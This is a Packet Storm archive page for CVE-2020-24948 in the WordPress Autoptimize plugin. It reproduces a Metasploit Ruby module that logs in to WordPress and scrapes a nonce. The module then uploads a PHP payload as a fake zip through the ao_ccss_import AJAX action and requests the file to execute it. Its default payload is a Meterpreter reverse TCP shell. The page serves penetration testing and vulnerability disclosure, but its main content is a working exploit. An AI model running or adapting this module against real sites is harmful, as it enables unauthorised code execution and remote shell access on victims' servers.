WordPress Autoptimize Shell Upload

Authored by Hoa Nguyen, Thien Ngo, Khanh Nguyen | Site metasploit.com

Posted Jan 8, 2021

WordPress Autoptimize plugin suffers from a remote shell upload vulnerability. The ao_ccss_import AJAX call does not ensure that the file provided is a legitimate zip file, allowing high privilege users to upload arbitrary files, such as PHP, leading to remote code execution.

tags | exploit, remote, arbitrary, shell, php, code execution
advisories | CVE-2020-24948
SHA-256 | 6976952649b949f1c677f4557fec06bb177e699a8fe16b809dfddb9cd2ec1b25 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
      super(update_info(
        info,
        'Name'            => 'Wordpress Autoptimize Authenticated File Upload',
        'Description'     => %q{
          The ao_ccss_import AJAX call does not ensure that the file provided is a legitimate Zip file,
          allowing high privilege users to upload arbitrary files, such as PHP, leading to RCE.
        },
        'Author'          =>
          [
            'Khanh Nguyen - Suncsr Team', # Vulnerability discovery
            'Hoa Nguyen - Suncsr Team',    # Metasploit module
            'Thien Ngo - Suncsr Team' # Metasploit module
          ],
        'License'         => MSF_LICENSE,
        'References'      =>
          [
            ['CVE', '2020-24948'],
            ['EDB', '48770'],
            ['WPVDB', '10372']
          ],
        'Privileged'      => false,
        'Platform'        => ['php'],
        'Arch'            => ARCH_PHP,
        'DefaultOptions' => {
            'PAYLOAD' => 'php/meterpreter/reverse_tcp'
          },
        'Targets'         => [['WP Autoptimize 2.7.6', {}]],
        'DefaultTarget'  => 0,
        'DisclosureDate' => '2020-08-24'))

      register_options(
        [
          OptString.new('USERNAME', [true, 'The WordPress password to authenticate with', nil]),
          OptString.new('PASSWORD', [true, 'The WordPress username to authenticate with', nil])
        ])
    end

  def check
      check_plugin_version_from_readme('autoptimize','2.7.7')
  end

  def ao_ccss_import_nonce(cookie)
      res = send_request_cgi({
          'uri' => normalize_uri(wordpress_url_backend,'options-general.php'),
          'cookie' => cookie,
          'vars_get' => {
              'page' => 'ao_critcss'
            }
      },5)

      if res.code == 200
          print_good("Found ao_ccss_import_nonce_code Value!")
        else
         fail_with(Failure::Unknown,'Server did not response in an expected way')
        end

      ao_ccss_import_nonce_code = res.body.match(/'ao_ccss_import_nonce', '(\w+)/).captures[0]
      return ao_ccss_import_nonce_code
  end

  def exploit
      username = datastore['USERNAME']
      password = datastore['PASSWORD']
      print_status("Trying to login as #{username}")
      cookie = wordpress_login(datastore['USERNAME'],datastore['PASSWORD'])
      if cookie.nil?
        print_error("Unable to login as #{username}")
      end

      vars = ao_ccss_import_nonce(cookie)
      print_status("Trying to upload payload")
      filename = "#{rand_text_alpha_lower(8)}.php"

      data = Rex::MIME::Message.new
      data.add_part('ao_ccss_import', nil, nil, 'form-data; name="action"')
      data.add_part(vars, nil, nil, 'form-data; name="ao_ccss_import_nonce"')
      data.add_part(payload.encoded, 'application/zip', nil, "form-data; name=\"file\"; filename=\"#
{filename}\"")
      post_data = data.to_s
      print_status("Uploading payload")

      res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(wordpress_url_backend,'admin-ajax.php'),
          'ctype' => "multipart/form-data; boundary=#{data.bound}",
          'data' => post_data,
          'cookie' => cookie
      })

      if res.code == 200
         register_files_for_cleanup(filename)
      else
        fail_with(Failure::Unknown,'Server did not response in an expected way')
      end

    print_status("Calling uploaded file #{filename}")
    send_request_cgi({'uri' => normalize_uri(wordpress_url_wp_content, 'uploads','ao_ccss',filename)},5)
 end
end
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

- **Red Hat** 150 files
- **Ubuntu** 68 files
- **LiquidWorm** 23 files
- **Debian** 16 files
- **malvuln** 11 files
- **nu11secur1ty** 11 files
- **Gentoo** 9 files
- **Google Security Research** 6 files
- **Julien Ahrens** 4 files
- **T. Weber** 4 files

File Tags

- ActiveX (932)
- Advisory (79,754)
- Arbitrary (15,694)
- BBS (2,859)
- Bypass (1,619)
- CGI (1,018)
- Code Execution (6,926)
- Conference (673)
- Cracker (840)
- CSRF (3,290)
- DoS (22,602)
- Encryption (2,349)
- Exploit (50,359)
- File Inclusion (4,165)
- File Upload (946)
- Firewall (821)
- Info Disclosure (2,660)
- Intrusion Detection (867)
- Java (2,899)
- JavaScript (821)
- Kernel (6,291)
- Local (14,201)
- Magazine (586)
- Overflow (12,419)
- Perl (1,418)
- PHP (5,093)
- Proof of Concept (2,291)
- Protocol (3,435)
- Python (1,467)
- Remote (30,044)
- Root (3,504)
- Ruby (594)
- Scanner (1,631)
- Security Tool (7,777)
- Shell (3,103)
- Shellcode (1,204)
- Sniffer (886)

File Archives

- December 2022
- November 2022
- October 2022
- September 2022
- August 2022
- July 2022
- June 2022
- May 2022
- April 2022
- March 2022
- February 2022
- January 2022
- Older

Systems

- AIX (426)
- Apple (1,926)
- BSD (370)
- CentOS (55)
- Cisco (1,917)
- Debian (6,634)
- Fedora (1,690)
- FreeBSD (1,242)
- Gentoo (4,272)
- HPUX (878)
- iOS (330)
- iPhone (108)
- IRIX (220)
- Juniper (67)
- Linux (44,315)
- Mac OS X (684)
- Mandriva (3,105)
- NetBSD (255)
- OpenBSD (479)
- RedHat (12,469)
- Slackware (941)
- Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

packet storm

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter

Subscribe to an RSS Feed